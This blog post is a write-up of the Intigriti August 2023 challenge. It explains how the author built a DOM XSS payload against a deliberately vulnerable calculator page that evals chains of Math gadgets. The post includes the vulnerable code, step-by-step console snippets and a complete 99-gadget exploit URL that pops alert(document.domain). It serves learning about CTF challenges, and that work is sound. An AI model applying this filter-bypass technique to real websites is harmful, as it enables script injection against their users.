# Write-Up - Intigriti August 2023 Challenge 0823 - DOM XSS using Math module with filters

2023-08-24

Hi all ! Back with a write-up for an Intigriti challenge 😊. This time, it is the Intigriti August 2023 challenge created by `@aszx87410`

.

## Statement

This challenge greets us with a `Pure Functional Math Calculator`

. Understand here that all of our inputs are supposed to be functions. A normal use would look like the image below.

Here, the `1`

we get is the result of the following formula : `Math.round(Math.cos(Math.sin(Math.random())))`

. In order to get that formula from the get go with a link, we would have the GET argument `?q=Math.random,Math.sin,Math.cos,Math.round`

.

So you see where this is going. We are going to inject some sort of payload in this argument in order to get the `alert(document.domain)`

executed with no user interaction.

The hint we were given was that we had to use arrays to later join them.

## Overview

### First glance

So the ‘recon’ part of this challenge is actually quite straight forward, we have everything in front of us in the Javascript script of the page.

```
(function(){
name = 'Pure Functional Math Calculator'
let next
Math.random = function () {
if (!this.seeds) {
this.seeds = [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
next = this.seeds[new Date().getTime() % this.seeds.length]
}
next = next * 1103515245 + 12345
return (next / 65536) % 32767
}
console.assert(Math.random() > 0)
const result = document.querySelector('.result')
const stack = document.querySelector('.stack-block')
let operators = []
document.querySelector('.pad').addEventListener('click', handleClick)
let qs = new URLSearchParams(window.location.search)
if (qs.get('q')) {
const ops = qs.get('q').split(',')
if (ops.length >= 100) {
alert('Max length of array is 99, got:' + ops.length)
return init()
}
for(let op of ops) {
if (!op.startsWith('Math.')) {
alert(`Operator should start with Math.: ${op}`)
return init()
}
if (!/^[a-zA-Z0-9.]+$/.test(op)) {
alert(`Invalid operator: ${op}`)
return init()
}
}
for(let op of ops) {
addOperator(op)
}
calculateResult()
} else {
init()
}
[...]
function addOperator(name) {
result.innerText = `${name}(${result.innerText})`
operators.push(name)
let div = document.createElement('div')
div.textContent = `${operators.length}. ${name}`
stack.prepend(div)
}
function calculateResult() {
result.innerText = eval(result.innerText)
}
[...]
})()
```

So let’s break this script down a little bit. This code basically :

- Redefines the
`Math.random`

function with a custom function, adding the`Math.seeds`

attributes as well (an Array) - Retrieves the
`?q`

argument and performs some sanity checks on it - Creates the Math formula from the
`?q`

argument - Executes the formula with an
`eval`

So with the previous example, we would execute `eval('Math.round(Math.cos(Math.sin(Math.random())))')`

### Argument format and sanity checks

So the format of the argument is a sequence of function names (gadgets) starting with `Math.`

separated by `commas`

, so only accessing things from this built-in package. The list of constrains are :

- Gadgets can only start with
`Math.`

- We can have a total of
`99`

gadgets maximum - Gadgets can only contain alphanumeric characters and dots (see regexp)

I think there’s is no way around these constrains, so we are going to have to follow the rules this time !

### Objective of the payload

So first we need to define the aim of our payload. We can basically separate that in two parts :

- Constructing the string
`alert(document.domain)`

- Executing this command at the end of the payload

At first, one might think that only getting the string out of the payload would be sufficient. But the `eval`

function will only execute one level of depth. So if our payload is only outputting the `alert`

command, we would basically only get a string as a result and no pop-up.

## Constructing the payload

So quite fast we can see that the only way we can craft anything is by using the `Math.seeds`

property defined in the script. This Array will be used to store the characters of the string `alert(document.alert)`

which we can then join to obtain the string.

So basically :

```
>> Math.seeds;
Array(22) [ "a", "l", "e", "r", "t", "(", "d", "o", "c", "u", … ]
>> Math.seeds.join('')
'alert(document.domain)'
```

So we need to think about how we can `get each character inside the array`

with all the constrains we have.

Know that I am going to explain this directly but it was a lot of trial and error in the JS console 🤓.

### Emptying the array

So the first thing we need to do is `empty the Math.seeds`

Array of its base values. Remember we have a limited amount of gadgets, so we are going to try and find the most efficient way of doing that.

After some tests (and DuckDuckGo-ing), I settled with

```
Math.seeds.splice(Math.seeds.pop.length.valueOf())
// equivalent to Math.seeds.splice(0)
```

So yeah, this would empty the array, and better than 5 `pops`

in a row.

### Getting the letters in the array

Let’s start with the ’easy’ part, getting all the standard letters of the payload in the array. These would be : `alert, document, domain`

.

The way we can get letters in this context is by using the `names of the properties`

we can access directly. Then use the `at`

function on these names (strings) which would give us the `nth`

character of that name at the given index in argument.

For example :

```
>> Math.acos.name.at(2)
'o'
```

Note that this only works with `function names`

.

So this is the way I am going to proceed. I choose to `add the letters in reverse order`

, but I would assume it is the same thing if you do it in normal order. So I would add `domain`

in reverse which is `niamod`

first.

So my base payload to add one character is :

```
Math.seeds.unshift(Math.acos.name(2))
```

This will add `o`

at the `beginning`

of the `Math.seeds`

array.

Now another thing to consider is the index at which we call the `at`

function. The function `Math.seeds.unshift`

returns the `length`

of the array after the addition of the new element.

So a chain of two characters considering we have no element to begin with will return `2`

:

```
>> Math.seeds.unshift(Math.acos.name.at(Math.seeds.unshift(Math.acos.name.at())))
2
>> Math.seeds
Array(2) ['c', 'a']
```

(If the `at`

function has no argument, it will be considered to be `0`

). So this is starting to become ugly (get used to it, challenge sponsored by `WayTooLongAndUglygPayloads Inc.`

).

This snippet would first add the character at index `0`

of `acos`

which is `a`

. Then the first `unshift`

returns `1`

, so the second part would unshift (add) in the array the character at index `1`

of `acos`

, which is `c`

.

So this would let us with a total of `2`

gadgets (the `at`

and the `unshift`

) for each letter. Remember that we have a length limit of `99`

gadgets, so this is important to consider.

But what if we cannot find any `function name`

that can give us the character we want at `index n`

(spoiler alert : we will) ?

#### Getting a letter at index 0

So to circumvent this problem, I chose to use the same technique but force the payload to look for the letter at `index 0`

. For that, we only need to specify an argument that is equivalent to `0`

to the `at`

function (`'', '0', 0,...`

).

I choose to use `Math.random.name.toString`

which returns `''`

, so for example :

```
>> Math.seeds.unshift(Math.ceil.name.at(Math.random.toString()))
1
>> Math.seeds
['c']
```

So when we cannot find any method at the current `Math.seeds`

length for the character we want, we can use this technique. But that requires `3`

gadgets for one character, so we need to use it only when necessary.

We will get later into the how to actually get those gadgets when we actually have the general structure of the payload.

By the way, each time we will need a `''`

or `0`

value, you will see a `Math.random.name.toString()`

pop. We could also use `Math.seeds.pop.length.valueOf`

as well.

### Getting the parenthesis

Now on to the `fun`

part. So we have `()`

in our output string, which means we have to get those somewhere.

So playing with the JS console we can see that :

```
>> Math.random.toString()
'function () {
if (!this.seeds) {
'
```

gives a string with the source code of the function `Math.random`

. And we can see that it starts with `function ()`

.

Since the first character we need in the payload is `)`

(reverse payload in my case), I chose to add these characters first in the array. So my strategy there was to

- Add the source code of the
`Math.random`

function in`Math.seeds`

as an array split by character (so an array in the array) - Shift this array until we get to the
`(`

part of the source code (10 shifts) - Push the
`(`

and`)`

at the end of`Math.seeds`

- Remove (shift) the
`Math.random`

source code array from`Math.seeds`

- Pop and unshift the
`)`

that was at the end of`Math.seeds`

to have it at the beginning

So that would look like (everthing is chained in the real payload) :

```
>> Math.seeds.push(Math.seeds.slice.apply(Math.random.toString()));
// gadget that pushes the source code as an array in Math.seeds
// Result : [ ['f', 'u', 'n', ...] ]
>> parenthese = Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.random.name.toString()))))))))))))))))))))
// Basically 10 times shifting the source code array. This returns `(`
>> Math.seeds.push(parenthese)
// pushing the ')' we got from the previous command
// Result in Math.seeds : [ [')', ' ', ...], '(' ]
>> parenthese2 = Math.seeds.shift.apply(Math.seeds.at(Math.random.name.toString()))
// One more shift of the source code array to get `)`
>> Math.seeds.push(parenthese2)
// Result in Math.seeds -> [ [' ', ' ', ...], '(', ')' ]
>> Math.seeds.unshift()
// Removing the source code array, result in Math.seeds ['(', ')']
>> Math.seeds.unshift(Math.seeds.pop())
// getting the ')' at the end at the beginning of Math.seeds
```

So the end result of all these gagdgets chained would be that we have in `Math.seeds`

the array `[ ')', '(' ]`

.

One particular concept used here is the `xxx.apply()`

method, here `Math.seeds.shift.apply`

. The `apply`

function is a property of another function.

It allows us to use a method of an object, here `Math.seeds.shift`

on another object, here we use it on the Array located in `Math.seeds[0]`

, the source code array.

So from this, we can start adding the `document.domain`

letters to obtains the Array

```
['d', 'o', 'c' , 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a', 'i', 'n', ')','(']
```

From this, we only need to use

```
Math.seeds.unshift(Math.seeds.pop())
```

to move the `(`

before the `document`

word and have `(document.domain)`

all set !

### Getting the dot

Now on to the final character, I call `.`

. So Mrs.Dot here will have the same treatment as the parentheses. We are going to use the same technique, that is pushing an Array of characters containing a `.`

, shifting until we get to it, pushing the `.`

at the end of `Math.seeds`

to eventually add it to our payload at the begininning of `Math.seeds`

.

For this, I will use `Math.LN2`

which returns a `number`

equal to `0.6931471805599453`

. I used this particular one because I needed to have a `0`

before the dot in order to save one gadget spot (needed a `0`

for an `at`

function).

So the steps are the exact same as before, but we instead have only 2 `shifts`

to get to the `.`

. I will also extract the dot only when I arrive to `domain)`

in my payload, in order to use it directly.

```
>> Math.seeds.unshift(Math.seeds.slice.apply(Math.LN2.toString()))
// Unshift array of chars in Math.seeds
// result in Math.seeds : [ ['0', '.', ...], 'd', 'o', 'm', 'a', 'i', 'n' ')' ,'(' ]
>> dot = Math.seeds.shift.apply(Math.seeds.at(Math.seeds.shift.apply(Math.seeds.at(Math.random.name.toString()))))
// shifting twice to extract the `.`. This outputs the dot char
>> Math.seeds.unshift(Math.seeds.pop(Math.seeds.shift(Math.seeds.push(dot))))
// Pushing the dot at the end of Math.seeds, removing the array of char we added, and placing the dot at the beginning of Math.seeds
```

So there we have it, our `.`

right where we need it to be !

### Joining and executing the payload

So after we somehow get all the gadgets we need, we have in `Math.seeds`

```
['a', 'l', 'e', 'r', 't', '(', 'd', 'o', 'c', 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a','i', 'n']
```

We can join it with

```
>> Math.seeds.join(Math.random.name.toString())
// equivalent of Math.seeds.join('')
```

to get `alert(document.domain)`

as an output. We then need to execute that command. One method I had already used in CTF was to create a function with `constructor`

.

Basically, every JS object has a `constructor`

property that outputs a function that can be used to create another object of the same type. But a `constructor`

also has a `constructor`

, and it is the constructor for a `function`

!

So we have

```
>> Math.constructor.constructor('alert(document.domain)')
function anonymous(
) {
alert(document.domain)
}
```

We have as an output a function we need to call. For this, I will use the propreties of Array that allow us to execute a function like `map`

, `reduce`

or `every`

. I will use `every`

since it will only pop the alert once, the others will do it for each element of the `Math.seeds`

array.

So in order to get the `alert`

executed, we need to add to our payload at the very end:

```
>> Math.seeds.every(Math.constructor.constructor(Math.seeds.join()))
// executes the alert if the Math.seeds array has our payload in it
```

### Putting it all together.

So now we have everything we need to get the string `alert(document.domain)`

executed.

The only (big) thing we have left to do is find all the gadgets for all the letters.

Since I had time to kill (thank you long summer night insomnia), I automated the process of looking for each gadget.

The script (click) will use all the objects I could think of that we can access from `Math.`

, and list all the methods available. (the code is disgusting but it works, don’t judge).

With these methods, we try for each letter we need at its index to `find the character we need`

in all the methods names we have. (we can find the index by getting the size of what we added before in the Array…)

If we cannot find one, we `try at index 0`

like I explained (for 1 character I needed to add a case for index 1 as well …).

The script will output the payload for each word. Since we know what we need for the `parentheses,dot and the other stuff`

, we can just add these gadgets in the middle. The script will output this payload.

Alternative (and more efficient probably) : you can just use the `JS console`

and for each caracter, you try with the autocompletion to get the character you want. I ended up doing that instead, only completed the script after that (I know, useless).

To get the formated payloads for the things other than the letters, a small script with a regexp to change the `()`

into `,`

should suffice (I did that).

Fun fact : this payload has a length of `99`

gadgets, so hum I guess I’m lucky there !

So if you use the script with node or even the JS console, it will output the following link :

```
https://challenge-0823.intigriti.io/challenge/index.html?q=Math.seeds.pop.length.valueOf,Math.seeds.splice,Math.random.toString,Math.seeds.slice.apply,Math.seeds.push,Math.random.toString,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.push,Math.random.name.toString,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.push,Math.seeds.shift,Math.seeds.pop,Math.seeds.unshift,Math.seeds.concat.name.at,Math.seeds.unshift,Math.seeds.splice.name.at,Math.seeds.unshift,Math.seeds.concat.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.map.name.at,Math.seeds.unshift,Math.seeds.isPrototypeOf.name.at,Math.seeds.unshift,Math.seeds.toSorted.name.at,Math.seeds.unshift,Math.LN2.toString,Math.seeds.slice.apply,Math.seeds.unshift,Math.random.name.toString,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.at,Math.seeds.shift.apply,Math.seeds.push,Math.seeds.shift,Math.seeds.pop,Math.seeds.unshift,Math.seeds.toLocaleString.name.at,Math.seeds.unshift,Math.E.toPrecision.name.at,Math.seeds.unshift,Math.seeds.findLastIndex.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.map.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.unshift.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.concat.name.at,Math.seeds.unshift,Math.abs.length.valueOf,Math.seeds.concat.name.at,Math.seeds.unshift,Math.random.name.toString,Math.constructor.defineProperties.name.at,Math.seeds.unshift,Math.seeds.pop,Math.seeds.unshift,Math.random.name.toString,Math.seeds.toLocaleString.name.at,Math.seeds.unshift,Math.constructor.getOwnPropertyDescriptor.name.at,Math.seeds.unshift,Math.seeds.propertyIsEnumerable.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.lastIndexOf.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.at.name.at,Math.seeds.unshift,Math.random.name.toString,Math.seeds.join,Math.constructor.constructor,Math.seeds.every
```

You can use it to get the alert !

## Conclusion

So overall a pretty tough challenge, not even because of the technical knowledge required but mainly because of the hard constrains we needed to bypass (and it is mostly a bit long to setup). It was more about mind gymnastics than anything, but cool thing to do from time to time.

If you enjoy these types of JS shenaningans, take a look at this root-me.org challenge, I thought it was quite fun.